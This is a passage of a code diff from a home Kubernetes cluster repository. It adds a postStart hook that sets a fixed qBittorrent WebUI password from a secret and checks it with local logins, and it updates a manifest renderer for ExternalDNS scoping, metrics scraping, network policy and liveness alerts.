+                              # failure, and that is why one is committed.)
   # THE LIBRARY (docs/04 bulk tier). One READ-ONLY mount of the export ROOT, giving /media/movies,
   # /media/tv and /media/photos — the whole tree the layout actually has (`ls /mnt/Storage/plex`:
   # downloads/ movies/ photos/ tv/).

catalog/qbittorrent.yaml

@@ -44,6 +44,295 @@ env:
     value: "3000"               # the export's dominant group, matching sonarr/radarr: files this writes stay
                                 # readable to the EXISTING non-k3s consumers of the same dataset, and land
                                 # group-owned the same way the arrs' own writes do
+  # --- THE DURABLE WebUI CREDENTIAL (consumed by the postStart hook below) -------------------
+  # Measured on prod 2026-09-13: /config/qBittorrent/qBittorrent.conf held NEITHER `WebUI\Username`
+  # NOR `WebUI\Password_PBKDF2`. qBittorrent 5.x reads that as "no credential configured" and mints a
+  # NEW random `admin` password on EVERY process start, announcing it ONLY on stdout ("A temporary
+  # password is provided for this session: ..."). Two real consequences, not hypotheticals:
+  #   * Sonarr and Radarr store a download-client username/password in their OWN databases. Both
+  #     tested valid against the then-current temporary password; both would have started failing at
+  #     the NEXT qbittorrent pod restart, silently breaking Completed Download Handling (the arrs
+  #     report a failed client, not a failed import).
+  #   * The human operator had no stable login: every restart meant reading the pod log.
+  # Provided as apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml (SOPS/age, decrypted by Flux) —
+  # same shape and naming as gitea-bootstrap, so `render.py --emit-waves` places it in this wave.
+  - name: QBT_WEBUI_USERNAME
+    valueFrom:
+      secretKeyRef:
+        name: qbittorrent-bootstrap
+        key: webui-username
+  - name: QBT_WEBUI_PASSWORD
+    valueFrom:
+      secretKeyRef:
+        name: qbittorrent-bootstrap
+        key: webui-password
+lifecycle:
+  # LEVEL-TRIGGERED CREDENTIAL ASSERTION, run on EVERY container start.
+  #
+  # WHY A postStart HOOK AND NOT A CronJob RECONCILER: the repo's idiom for "state Flux cannot reach
+  # directly" is the level-triggered CronJob (platform/keycloak/client-secret-reconciler.yaml,
+  # apps/wave-0/nextcloud-db.yaml). That idiom's PRINCIPLE — desired state lives in git and is
+  # RE-ASSERTED unconditionally, never set once — is exactly what is applied here, but the trigger is
+  # the container start rather than a clock, because the failure this closes IS a container start:
+  #   * The credential is read by qbittorrent-nox ONCE, at process start, from a file on the config
+  #     PVC. A 15-minute cron would therefore leave a 0-15 minute window after every restart, PVC
+  #     restore or rebuild in which the app serves a random password and both arrs are broken. The
+  #     hook has no such window: it runs before/with the very start that would otherwise regenerate.
+  #   * A CronJob would also have to reach the conf from OUTSIDE the pod — mounting an RWO Longhorn
+  #     PVC that the app already holds, or `kubectl exec`-ing with RBAC it would need granting — and
+  #     then edit a file UNDER the running process, whose own save-on-exit can overwrite the edit.
+  #     In-container, before the service starts, none of that exists.
+  #   * It needs no ServiceAccount, no RBAC, no NetworkPolicy and no API token: strictly less
+  #     privilege than the CronJob alternative (R-SEC/least-privilege).
+  # The gitea entry's postStart is the same pattern (idempotent bootstrap of a credential the app
+  # keeps in its own state), and the schema documents this hook for exactly that use.
+  #
+  # AND WHY NOT AN initContainer, which is the genuinely tempting third option: it would run strictly
+  # BEFORE qbittorrent-nox, removing the race the `s6-svc -r` below exists to cover, and its stdout
+  # would reach `kubectl logs -c <init>` instead of the kubelet. Two reasons it loses here:
+  #   * It CANNOT do step (3) — the ground-truth login that proves the WebUI actually accepts the
+  #     credential — because the WebUI is not running yet. That assertion is the most valuable line
+  #     in this whole mechanism: it is what turns "we wrote a file" into "the credential works", and
+  #     writing the right PBKDF2 bytes is precisely the part that is easy to get subtly wrong.
+  #   * The ServiceDefinition schema (1.5.0) has `lifecycle` but NO initContainers field, so it would
+  #     mean a schema version bump plus a renderer change — a blast radius across every service's
+  #     golden — to buy something strictly weaker than what the hook already does.
+  # The honest summary: postStart trades a short, self-healing start-up race (detected and closed by
+  # the s6 restart + re-verify loop) for the ability to VERIFY. That is the right trade.
+  #
+  # DURABILITY, the whole point — all three paths end with the SAME credential:
+  #   pod restart      -> conf on the PVC already holds it; the hook verifies and writes NOTHING.
+  #   config-PVC restore from an older backup -> restore requires the pod to be recreated, so the
+  #                       hook runs and re-asserts over whatever the snapshot contained.
+  #   rebuild from git -> empty PVC; the image copies /defaults/qBittorrent.conf, the hook writes the
+  #                       credential into it before the service is serving. Nothing outside git.
+  #
+  # WHAT IT DOES NOT DO: it never weakens authentication. `WebUI\AuthSubnetWhitelist` (bypassing auth
+  # for the pod CIDR) was REJECTED: it leaves the human login broken, and makes qBittorrent's auth
+  # depend on network policy staying correct forever. The WebUI keeps demanding a password; that
+  # password is simply now known, fixed, and reproducible from git.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # Assert the durable WebUI credential in the config PVC's qBittorrent.conf, then PROVE the
+          # running WebUI accepts it. Idempotent: the steady-state path writes nothing at all.
+          #
+          # THIS SCRIPT CONTAINS NO BRACED DOLLAR EXPANSION AT ALL, AND THAT IS DELIBERATE.
+          # apps-wave-0 declares postBuild.substituteFrom cluster-vars, so Flux runs envsubst over
+          # this whole manifest at RECONCILE time. The repo's escape contract (double the dollar;
+          # enforced by render.py's assert_substitution_safe) makes such a form correct ON THE
+          # CLUSTER — but only there:
+          # envsubst collapses the doubled dollar, so the SAME text run any other way (a `kubectl
+          # apply` of the golden, which runs no envsubst; a hand `kubectl exec` of the script during
+          # development) keeps the doubled dollar, which bash reads as its own PID. Not hypothetical;
+          # see the PORT comment below for the bug it actually caused here. Bare `$VAR` and `$(cmd)`
+          # are untouched by envsubst, so they are used throughout and the script behaves IDENTICALLY
+          # however it is run.
+          set -u
+          CONF=/config/qBittorrent/qBittorrent.conf
+          SVC=/run/service/svc-qbittorrent
+          # The WebUI's listening port, as a LITERAL. It matches ingressRoutes[0].port in this
+          # ServiceDefinition — which is the single place the renderer takes the containerPort, the
+          # Service port and the HTTPRoute backend port from — and the image exposes no WEBUI_PORT
+          # env var for a lookup to read anyway.
+          # It USED to be a doubled-dollar default-operator expansion of a WEBUI_PORT env var, and
+          # that cost real time: run without envsubst, bash read the doubled dollar as its own PID,
+          # so PORT became "<pid>{WEBUI_PORT:-8080}" — the brace never expanded, the digits never
+          # matched. Every curl below then got an unparseable URL, returned nothing, and the hook
+          # logged "the WebUI rejected the durable
+          # credential" — having never actually asked it. That MISDIAGNOSIS is preserved in this
+          # service's own marker log at 2026-09-13T05:35Z (three "rejected" lines, then GAVE UP,
+          # against a WebUI that accepted the credential perfectly well). A literal cannot be mangled.
+          PORT=8080
+          # A postStart hook's stdout/stderr goes to the KUBELET, not to `kubectl logs` — so a hook
+          # that only echoes is effectively silent (gitea's hits the same wall and writes a marker
+          # file for it). Every outcome therefore also lands, timestamped, on the persistent config
+          # volume: /config/qbittorrent-webui-cred.log is where an operator looks to see whether the
+          # credential from git was asserted and accepted on this start.
+          log() {
+            echo "[qbt-webui-cred] $*"
+            printf '%s [qbt-webui-cred] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*" \
+              >> /config/qbittorrent-webui-cred.log 2>/dev/null || true
+          }
+
+          # (1) The image's init-qbittorrent-config copies /defaults/qBittorrent.conf onto the PVC
+          #     before it starts the service. Wait (bounded, ~30s) so we EDIT that file instead of
+          #     racing to create one it would then not overwrite.
+          n=0
+          while [ ! -s "$CONF" ] && [ "$n" -lt 120 ]; do n=$((n + 1)); sleep 0.25; done
+
+          waited=0
+          attempt=0
+          while [ "$attempt" -lt 3 ]; do
+            attempt=$((attempt + 1))
+
+            # (2) Converge the conf. 0 = already correct (steady state: NO write, NO re-salt),
+            #     10 = rewritten, anything else = could not write.
+            python3 - "$CONF" <<'PY'
+          import base64, hashlib, hmac, os, stat, sys
+
+          conf = sys.argv[1]
+          user = os.environ.get("QBT_WEBUI_USERNAME", "")
+          pw = os.environ.get("QBT_WEBUI_PASSWORD", "")
+          if not user or not pw:
+              sys.stderr.write("[qbt-webui-cred] credential env is empty - refusing to touch the conf\n")
+              raise SystemExit(1)
+
+          # qBittorrent's OWN parameters (base/utils/password.cpp): PBKDF2-HMAC-SHA512, 100000
+          # iterations, 16-byte random salt, 64-byte digest, stored as
+          #   WebUI\Password_PBKDF2="@ByteArray(<base64 salt>:<base64 digest>)"
+          # Get any one of them wrong and the app simply rejects every login.
+          ITERATIONS, DIGEST_LEN, SALT_LEN = 100000, 64, 16
+          UKEY, PKEY, SECTION = "WebUI\\Username", "WebUI\\Password_PBKDF2", "[Preferences]"
+
+          def matches(raw):
+              """True iff the stored digest is one OUR password produces (salt is read from it)."""
+              v = raw.strip().strip('"')
+              if v.startswith("@ByteArray(") and v.endswith(")"):
+                  v = v[len("@ByteArray("):-1]
+              try:
+                  salt_b64, digest_b64 = v.split(":", 1)
+                  salt = base64.b64decode(salt_b64, validate=True)
+                  digest = base64.b64decode(digest_b64, validate=True)
+              except Exception:
+                  return False
+              if not salt or not digest:
+                  return False
+              return hmac.compare_digest(
+                  hashlib.pbkdf2_hmac("sha512", pw.encode(), salt, ITERATIONS, len(digest)), digest)
+
+          try:
+              lines = open(conf, encoding="utf-8", errors="replace").read().splitlines()
+          except FileNotFoundError:
+              lines = []
+
+          def value_of(key):
+              for i, line in enumerate(lines):
+                  if line.startswith(key + "="):
+                      return i, line.split("=", 1)[1]
+              return -1, None
+
+          ui, uval = value_of(UKEY)
+          pi, pval = value_of(PKEY)
+          if uval == user and pval is not None and matches(pval):
+              raise SystemExit(0)          # converged - leave the file (and its salt) alone
+
+          salt = os.urandom(SALT_LEN)
+          digest = hashlib.pbkdf2_hmac("sha512", pw.encode(), salt, ITERATIONS, DIGEST_LEN)
+          stored = base64.b64encode(salt).decode() + ":" + base64.b64encode(digest).decode()
+          desired = [UKEY + "=" + user, PKEY + '="@ByteArray(' + stored + ')"']
+
+          out = [line for i, line in enumerate(lines) if i not in (ui, pi)]
+          if SECTION in out:
+              at = out.index(SECTION) + 1
+          else:
+              if out and out[-1].strip():
+                  out.append("")
+              out.append(SECTION)
+              at = len(out)
+          out[at:at] = desired
+
+          try:
+              os.makedirs(os.path.dirname(conf) or ".", exist_ok=True)
+              tmp = conf + ".webui-cred.new"
+              with open(tmp, "w", encoding="utf-8") as fh:
+                  fh.write("\n".join(out) + "\n")
+                  fh.flush()
+                  os.fsync(fh.fileno())
+              # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would
+              # cost the app the ability to save its own settings, so carry the ownership over.
+              try:
+                  st = os.stat(conf)
+                  os.chown(tmp, st.st_uid, st.st_gid)
+                  os.chmod(tmp, stat.S_IMODE(st.st_mode))
+              except FileNotFoundError:
+                  os.chown(tmp, int(os.environ.get("PUID", "1000")),
+                           int(os.environ.get("PGID", "1000")))
+                  os.chmod(tmp, 0o664)
+              os.replace(tmp, conf)        # atomic: the app never reads a half-written conf
+          except OSError as exc:
+              sys.stderr.write("[qbt-webui-cred] cannot write %s: %s\n" % (conf, exc))
+              raise SystemExit(1)
+          raise SystemExit(10)
+          PY
+            rc=$?
+
+            if [ "$rc" = 0 ]; then
+              log "conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)"
+            elif [ "$rc" = 10 ]; then
+              log "asserted WebUI Username + Password_PBKDF2 into $CONF"
+              # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY
+              # have read the old, credential-less conf and be serving a random temporary password.
+              # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.
+              # Nothing to do when the service has not started yet - it will read the new file.
+              # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the
+              # 2026-09-13 failure spent the entire verification budget before the first login and
+              # then fired attempts 2 and 3 with no wait left at all.
+              sv=0
+              while [ "$sv" -lt 60 ] && [ "$(s6-svstat -u "$SVC" 2>/dev/null)" != "true" ]; do
+                sv=$((sv + 1)); sleep 1
+              done
+              if [ "$(s6-svstat -u "$SVC" 2>/dev/null)" = "true" ]; then
+                log "qbittorrent-nox was already running - restarting it to load the credential"
+                s6-svc -r "$SVC" || log "s6-svc -r failed (continuing to verify anyway)"
+                sleep 3
+              fi
+            else
+              log "FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep" >&2
+              log "minting a random password every start and BOTH arrs will break. Fix and restart." >&2
+              exit 0
+            fi
+
+            # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL
+            #     (shared ~120s budget across attempts), then spend exactly ONE login per attempt -
+            #     at most 3 rejected logins, which stays under qBittorrent's default ban threshold.
+            #
+            # "THE API NEVER ANSWERED" IS A DIFFERENT FAULT FROM "THE PASSWORD WAS REJECTED", and
+            # conflating them is what made this hook lie once already (see the PORT comment). An
+            # unreachable WebUI is reported as unreachable, and the hook stops rather than spending
+            # its remaining login attempts to produce two more identical wrong diagnoses.
+            api_ok=0
+            while [ "$waited" -lt 120 ]; do
+              code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' "http://127.0.0.1:$PORT/" 2>/dev/null)
+              if [ -n "$code" ] && [ "$code" != "000" ]; then api_ok=1; break; fi
+              waited=$((waited + 1)); sleep 1
+            done
+            if [ "$api_ok" != 1 ]; then
+              log "the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the" >&2
+              log "credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was" >&2
+              log "never submitted. Do not rotate the credential on the strength of this line." >&2
+              exit 0
+            fi
+            body=$(curl -sS -m 10 \
+                     --data-urlencode "username=$QBT_WEBUI_USERNAME" \
+                     --data-urlencode "password=$QBT_WEBUI_PASSWORD" \
+                     "http://127.0.0.1:$PORT/api/v2/auth/login" 2>/dev/null)
+            if [ "$body" = "Ok." ]; then
+              log "VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'"
+              exit 0
+            fi
+            log "WebUI rejected the durable credential (login said '$body')" >&2
+            # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean
+            # the running qbittorrent-nox is serving something it read from an EARLIER conf, so
+            # rewriting the same bytes on the next attempt would change nothing. The remedy is to
+            # make the process RE-READ the file, so restart the supervised service and let the next
+            # attempt re-verify. Without this the retry loop could never change its own outcome.
+            if [ "$(s6-svstat -u "$SVC" 2>/dev/null)" = "true" ]; then
+              log "restarting qbittorrent-nox so it re-reads $CONF, then re-verifying" >&2
+              s6-svc -r "$SVC" || log "s6-svc -r failed (continuing to verify anyway)" >&2
+              sleep 3
+            fi
+          done
+
+          log "GAVE UP after $attempt attempts: the WebUI does not accept the credential from git." >&2
+          # A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container
+          # (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.
+          # Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the
+          # app, and the arrs' own download-client health check surfaces a broken credential.
+          exit 0
 podSecurityContext:
   # For the LONGHORN config PVC only, and for the same reason radarr/sonarr set it: fsGroup is a NO-OP
   # on the NFS volume (the in-tree plugin does no ownership management), but on a Longhorn filesystem

catalog/render.py

@@ -80,7 +80,40 @@ BULK_NFS_SERVER = "${BULK_NFS_SERVER}"
 BULK_NFS_MOUNT_OPTIONS = ["nfsvers=4.1", "hard", "noatime", "timeo=600", "retrans=2"]
 GATEWAY_NAME = "shared"
 GATEWAY_NS = "gateway"
+# ExternalDNS per-resource scoping (R-DNS-03; see _externaldns_route_annotations for the full WHY
+# and for the v0.21.0 source citation). The KEY is external-dns's own `ControllerKey`
+# (annotationPrefix + "controller"); external-dns skips any source object whose value is PRESENT
+# and != `ControllerValue` ("dns-controller"), so the VALUE only has to be some other string.
+# `none` is chosen because it reads as intent in `kubectl get httproute -o yaml` rather than as a
+# typo — "no DNS controller owns this route" — and because the one value that must never be
+# emitted here is external-dns's own, which a literal `none` cannot drift into.
+EXTERNALDNS_CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
+EXTERNALDNS_CONTROLLER_DISOWN = "none"
+# The value external-dns claims for itself. Held here ONLY so the renderer and the L0 guard can
+# assert the disown value is not it; never emitted.
+EXTERNALDNS_CONTROLLER_CLAIMED = "dns-controller"
 KP_RELEASE = "kube-prometheus-stack"  # ServiceMonitor/PrometheusRule discovery label
+MONITORING_NS = "monitoring"          # where Prometheus runs; the only admitted scrape source
+
+# The kube-state-metrics series a workload's readiness IS (r_prometheusrule). kube-state-metrics
+# is scraped by the bundled kube-prometheus-stack ServiceMonitor, i.e. these exist for EVERY
+# workload in the cluster with no per-service exporter — which is the whole point of using them
+# for `slis: [up]`. Each entry is (metric, label naming the object). VERIFIED on prod 2026-09-13:
+# kube_deployment_status_replicas_available returned a series for all ten deployed app
+# Deployments, and kube_statefulset_status_replicas_ready{namespace="keycloak",
+# statefulset="keycloak"} returned 2.
+LIVENESS_METRICS = {
+    "Deployment": ("kube_deployment_status_replicas_available", "deployment"),
+    "StatefulSet": ("kube_statefulset_status_replicas_ready", "statefulset"),
+    "DaemonSet": ("kube_daemonset_status_number_available", "daemonset"),
+}
+# A KubeVirt VMI is not a replica count: kubevirt_vmi_info carries the phase as a LABEL, so
+# liveness is the EXISTENCE of a running-phase series. The value is lowercase `running` — a
+# capital-R matcher selects nothing and is just as inert (the same trap that made
+# kubevirt_vmi_phase_count{phase="Failed"} a no-op; verified on prod, where the one live VMI
+# reports phase="running").
+VMI_METRIC = "kubevirt_vmi_info"
+VMI_RUNNING_PHASE = "running"
 
 # egress classes and auth modes fixed by docs/03 / docs/13 + the Kyverno enums.
 EGRESS_CLASSES = ("internet", "vpn")
@@ -135,6 +168,26 @@ def apply_defaults(sd: dict) -> dict:
     obs = dict(s.get("observability") or {})
     obs.setdefault("metrics", True)
     obs.setdefault("slis", [])
+    # metricsEndpoint is NEVER defaulted (schema 1.6.0). `metrics: true` says the platform
+    # collects signals FOR this service; it cannot say the workload SERVES a Prometheus
+    # endpoint, because for most of this catalog it does not (see r_servicemonitor). When the
+    # endpoint IS declared, its name/path/interval carry defaults so the common case is
+    # `metricsEndpoint: {port: 9100}`.
+    ep = obs.get("metricsEndpoint")
+    if ep:
+        obs["metricsEndpoint"] = {
+            **{"name": "metrics", "path": "/metrics", "interval": "30s"},
+            **ep,
+        }
+    # livenessWorkload: WHICH Kubernetes object's readiness IS this service being up. Defaulted
+    # from `kind` — a container renders a Deployment named after the service, a vm renders a
+    # VirtualMachine whose VMI carries the same name — and overridable for the case where the
+    # object that actually runs on the cluster is not the one this SD renders (keycloak: the
+    # Keycloak operator runs a StatefulSet, so a Deployment-shaped rule would `absent()` forever).
+    lw = dict(obs.get("livenessWorkload") or {})
+    lw.setdefault("kind", "VirtualMachineInstance" if s["kind"] == "vm" else "Deployment")
+    lw.setdefault("name", s["name"])
+    obs["livenessWorkload"] = lw
     s["observability"] = obs
 
     # storage entry class default is longhorn (replicated tier); readOnly default is False
@@ -488,7 +541,12 @@ def r_deployment(s: dict) -> dict:
 
 def r_service(s: dict):
     ports = _service_ports(s)
-    if not ports:
+    # A declared metrics endpoint becomes a NAMED Service port, because that name is the only
+    # thing a ServiceMonitor endpoint can select on. Appended BELOW rather than inside
+    # _service_ports so it never leaks into r_gateway_ingress_policy's north-south allow list —
+    # the metrics port is for the monitoring namespace, not for the Gateway.
+    ep = s["observability"].get("metricsEndpoint")
+    if not ports and not ep:
         return None
     # forward-auth (Option B): the shared Gateway must reach the oauth2-proxy sidecar, so front it
     # with a `authproxy` :4180 Service port (the HTTPRoute backendRef targets this). The app UI/API
@@ -498,6 +556,10 @@ def r_service(s: dict):
         ports = ports + [
             {"name": "authproxy", "port": OAUTH2_PROXY_PORT, "targetPort": OAUTH2_PROXY_PORT}
         ]
+    if ep:
+        ports = ports + [
+            {"name": ep["name"], "port": ep["port"], "targetPort": ep["port"]}
+        ]
     return {
         "apiVersion": "v1",
         "kind": "Service",
@@ -786,12 +848,15 @@ def r_in_cluster_client_policies(s: dict) -> list:
 
 
 def _route_meta(s: dict, route: dict) -> dict:
+    """HTTPRoute metadata: auth wiring hints PLUS the ExternalDNS scoping derived from
+    `exposure` (_externaldns_route_annotations — R-DNS-03: an `internal` service renders no
+    public DNS record, and now cannot)."""
     meta = {
         "name": f"{s['name']}-{route['port']}",
         "namespace": s["name"],
         "labels": {"app.kubernetes.io/name": s["name"]},
     }
-    ann = _auth_annotations(s)
+    ann = {**_auth_annotations(s), **_externaldns_route_annotations(s)}
     if ann:
         meta["annotations"] = ann
     return meta
@@ -989,8 +1054,92 @@ def _auth_annotations(s: dict) -> dict:
     return {}
 
 
+def _externaldns_route_annotations(s: dict) -> dict:
+    """ExternalDNS scoping, rendered FROM `exposure` (renderer-contract §exposure; R-DNS-03).
+
+    `internal` renders NO public DNS record. That sentence was in the contract from the start and
+    nothing enforced it: ExternalDNS watched EVERY HTTPRoute the shared Gateway carried, so an
+    `internal` service's route published `<name>.${BASE_DOMAIN}` into the PUBLIC authoritative
+    Cloudflare zone, answering with the Gateway VIP — an RFC1918 address. Six of them did
+    (jackett, pihole, qbittorrent, radarr, semaphore, sonarr), which published the internal
+    subnet, the Gateway VIP and a full service inventory to anyone who asked, and made every one
+    of those names a DNS-rebind primitive that the SOHO router strips on the way back in.
+
+    THE MECHANISM, verified against the DEPLOYED version (chart >=1.21.0 <1.22.0, app v0.21.0 —
+    `registry.k8s.io/external-dns/external-dns:v0.21.0`, read off the live prod Deployment), not
+    from memory. external-dns v0.21.0 `source/annotations/processors.go`:
+
+        func IsControllerMismatch(entity metav1.ObjectMetaAccessor, rType string) bool {
+            value, ok := entity.GetObjectMeta().GetAnnotations()[ControllerKey]
+            if ok && value != ControllerValue { ...; return true }
+            return false
+        }
+
+    with `ControllerKey = "external-dns.alpha.kubernetes.io/controller"` and
+    `ControllerValue = "dns-controller"`. `source/gateway.go` calls it per route inside
+    `Endpoints()`, BEFORE any hostname is resolved:
+
+        if annotations.IsControllerMismatch(meta, src.rtKind) { continue }
+
+    so an HTTPRoute carrying any other value is not merely unpublished — it never becomes an
+    endpoint at all, for any hostname it names. `source/service.go` applies the identical check,
+    so the same annotation scopes the `service` source too if a rendered Service ever grows an
+    external-dns hostname.
+
+    WHY THIS IS STRUCTURAL AND NOT INCIDENTAL. The annotation is derived HERE, from `exposure`,
+    with no per-service list anywhere: every HTTPRoute this renderer emits for an `internal`
+    service carries it, and ci/render-golden.sh proves `apps/` reproduces byte-for-byte from
+    `catalog/`, so an `internal` service cannot EXIST in the applied tree without it. Flipping
+    `exposure: internal` to `public` is the only edit that can publish a name, which is exactly
+    the operator-facing declaration R-DNS-03 is written in terms of. The L0 check
+    conformance/tests/l0-static/internal-services-publish-no-public-dns re-proves all of that on
+    every gate run, including that this function reads `exposure` rather than naming services.
+
+    WHY NOT A CLUSTER-WIDE OPT-IN FILTER (`--label-filter`, chart `labelFilter`). It exists, and
+    v0.21.0's own `--help` names both sources in use as supporting it ("currently supported by
+    source types crd, gateway-httproute, ... service and ambassador-host"), so a "publish only
+    what is labelled" posture is available and is STRONGER by default. It is not taken here
+    because its blast radius is not this defect's: seven published names come from hand-authored
+    platform/apps manifests that carry no `exposure` field and that this renderer never sees
+    (auth/oauth2-proxy, crafty + crafty-mc, grafana, headlamp, the homepage apex, unifi). An
+    opt-in filter DELETES all seven the moment it is set, and whether each should stay published
+    is an operator decision, not a renderer one. Per-resource exclusion has exactly the blast
+    radius of the reported defect. The filter remains the available hardening once those seven
+    are adjudicated — see platform/externaldns/helmrelease.yaml.
+    """
+    if s["exposure"] == "internal":
+        return {EXTERNALDNS_CONTROLLER_KEY: EXTERNALDNS_CONTROLLER_DISOWN}
+    return {}
+
+
 def r_servicemonitor(s: dict):
-    if not s["observability"]["metrics"]:
+    """ServiceMonitor — rendered ONLY when the SD says WHERE metrics are served.
+
+    THIS FUNCTION USED TO RENDER A MONITOR UNCONDITIONALLY FROM `metrics: true`, hardcoding
+    `endpoints: [{port: metrics}]`. No Service this renderer emits had ever defined a port of
+    that name, so all twelve monitors discovered ZERO targets: no `up{job="<app>"}` series
+    existed anywhere, `up{job="<app>"} == 0` could not fire, and `PrometheusTargetsMissing`
+    could not see the hole either, because a target that was never discovered has no `up` series
+    to be 0. Verified on prod 2026-09-13: `count by (job) (up)` listed 24 jobs and not one of
+    the twelve appeared; `up{job="plex"}` and `up{job="gitea"}` both returned nothing.
+
+    THE ROOT CAUSE WAS NOT A TYPO — it was that `metrics: true` cannot state a fact the workload
+    does not have. Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr, Semaphore and
+    Nextcloud serve no Prometheus endpoint at all without a separate exporter; Gitea can serve
+    one but only once its app.ini enables it. So the port name was never the missing piece. A
+    monitor is now rendered only from `observability.metricsEndpoint`, which names the port the
+    workload actually serves — and that same declaration renders the Service port (r_service) and
+    the monitoring-namespace ingress allow (r_monitoring_ingress_policy), so the three halves of
+    a working scrape cannot be authored apart.
+
+    `metrics: true` still means something without it: logs ship to Loki via the node agent, and
+    liveness comes from kube-state-metrics (r_prometheusrule) — neither needs a per-service CR.
+    """
+    obs = s["observability"]
+    if not obs["metrics"]:
+        return None
+    ep = obs.get("metricsEndpoint")
+    if not ep:
         return None
     return {
         "apiVersion": "monitoring.coreos.com/v1",
@@ -1003,7 +1152,108 @@ def r_servicemonitor(s: dict):
         "spec": {
             "selector": {"matchLabels": {"app.kubernetes.io/name": s["name"]}},
             "namespaceSelector": {"matchNames": [s["name"]]},
-            "endpoints": [{"port": "metrics", "interval": "30s"}],
+            "endpoints": [
+                {"port": ep["name"], "path": ep["path"], "interval": ep["interval"]}
+            ],
+        },
+    }
+
+
+def r_monitoring_ingress_policy(s: dict):
+    """Let the monitoring namespace reach a declared metrics port (R-NET-02, R-OBS-01).
+
+    renderer-contract.md has always said the default-deny baseline carries "a standing allow ...
+    for observability scraping from the monitoring namespace" — and no renderer output ever did.
+    Every app namespace ships `ingress: []`, so a scrape of an app metrics port would be DROPPED
+    by policy even with the Service port and the monitor endpoint in agreement. That is the same
+    trap Longhorn's own NetworkPolicies set (platform/longhorn/networkpolicy-metrics.yaml exists
+    for exactly this reason), and it is a THIRD independent way for a metrics SLI to be inert.
+
+    Rendered only alongside a declared metricsEndpoint, and it opens ONLY that port to ONLY the
+    monitoring namespace: an allow for a port nothing serves would be a standing hole for no
+    benefit.
+    """
+    ep = s["observability"].get("metricsEndpoint")
+    if not ep or not s["observability"]["metrics"]:
+        return None
+    return {
+        "apiVersion": "cilium.io/v2",
+        "kind": "CiliumNetworkPolicy",
+        "metadata": {
+            "name": f"{s['name']}-allow-monitoring-scrape",
+            "namespace": s["name"],
+            "labels": {"app.kubernetes.io/name": s["name"]},
+        },
+        "spec": {
+            "endpointSelector": {"matchLabels": {"app.kubernetes.io/name": s["name"]}},
+            "ingress": [
+                {
+                    "fromEndpoints": [
+                        {"matchLabels": {"k8s:io.kubernetes.pod.namespace": MONITORING_NS}}
+                    ],
+                    "toPorts": [
+                        {"ports": [{"port": str(ep["port"]), "protocol": "TCP"}]}
+                    ],
+                }
+            ],
+        },
+    }
+
+
+def _up_sli_rule(s: dict) -> dict:
+    """`slis: [up]` -> a `<name>-down` alert against a signal THAT EXISTS on this cluster.
+
+    IT USED TO READ `up{job="<name>"} == 0`. That is the textbook expression and it was inert
+    for all twelve services in the catalog, because `up` only exists for a target Prometheus
+    actually DISCOVERED and the rendered ServiceMonitor discovered none (see r_servicemonitor).
+    Worse than a wrong threshold: an inert rule and a correct rule are indistinguishable on a
+    healthy cluster, and the generic safety net cannot see the difference either — a target that
+    was never discovered has no `up` series for PrometheusTargetsMissing to find at 0.
+
+    Rewriting the SLI against the app's own /metrics was NOT an option for most of this catalog:
+    Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr, Semaphore and Nextcloud export no
+    Prometheus metrics without a separate exporter sidecar per app. So the `up` SLI is expressed
+    against kube-state-metrics, which IS scraped and DOES carry a series for every workload — the
+    same idiom KeycloakDown in platform/monitoring/alerts.yaml has used since it was fixed.
+
+    The `or absent(...)` half is deliberate and load-bearing: it makes the DISAPPEARANCE of the
+    signal fire the alert instead of silencing it. A rule that can only fire on `== 0` is a rule
+    that goes quiet when the workload object (or kube-state-metrics) vanishes, which is precisely
+    how the old expression failed. It is also why this rule cannot be permanently firing where the
+    workload exists: the series is present and non-zero on a healthy cluster (verified on prod).
+    """
+    lw = s["observability"]["livenessWorkload"]
+    kind, obj = lw["kind"], lw["name"]
+    ns = s["name"]
+    if kind == "VirtualMachineInstance":
+        sel = f'{VMI_METRIC}{{namespace="{ns}", name="{obj}", phase="{VMI_RUNNING_PHASE}"}}'
+        expr = f"absent({sel})"
+        desc = (
+            f"{s['name']}: no KubeVirt VMI in phase {VMI_RUNNING_PHASE} for 5m "
+            f"(SLI: up, via {VMI_METRIC})."
+        )
+    else:
+        try:
+            metric, label = LIVENESS_METRICS[kind]
+        except KeyError:
+            raise ValueError(
+                f"{s['name']}: observability.livenessWorkload.kind {kind!r} has no liveness "
+                f"metric; known kinds: {sorted(LIVENESS_METRICS)} + VirtualMachineInstance"
+            ) from None
+        sel = f'{metric}{{namespace="{ns}", {label}="{obj}"}}'
+        expr = f"{sel} == 0 or absent({sel})"
+        desc = (
+            f"{s['name']}: its {kind} has no available/ready replica for 5m, or the signal is "
+            f"gone entirely (SLI: up, via {metric})."
+        )
+    return {
+        "alert": f"{s['name']}-down".replace("_", "-"),
+        "expr": expr,
+        "for": "5m",
+        "labels": {"severity": "critical", "service": s["name"]},
+        "annotations": {
+            "summary": f"{s['name']} is down",
+            "description": desc,
         },
     }
 
@@ -1016,18 +1266,7 @@ def r_prometheusrule(s: dict):
     rules = []
     for sli in slis:
         if sli == "up":
-            rules.append(
-                {
-                    "alert": f"{s['name']}-down".replace("_", "-"),
-                    "expr": f'up{{job="{s["name"]}"}} == 0',
-                    "for": "5m",
-                    "labels": {"severity": "critical", "service": s["name"]},
-                    "annotations": {
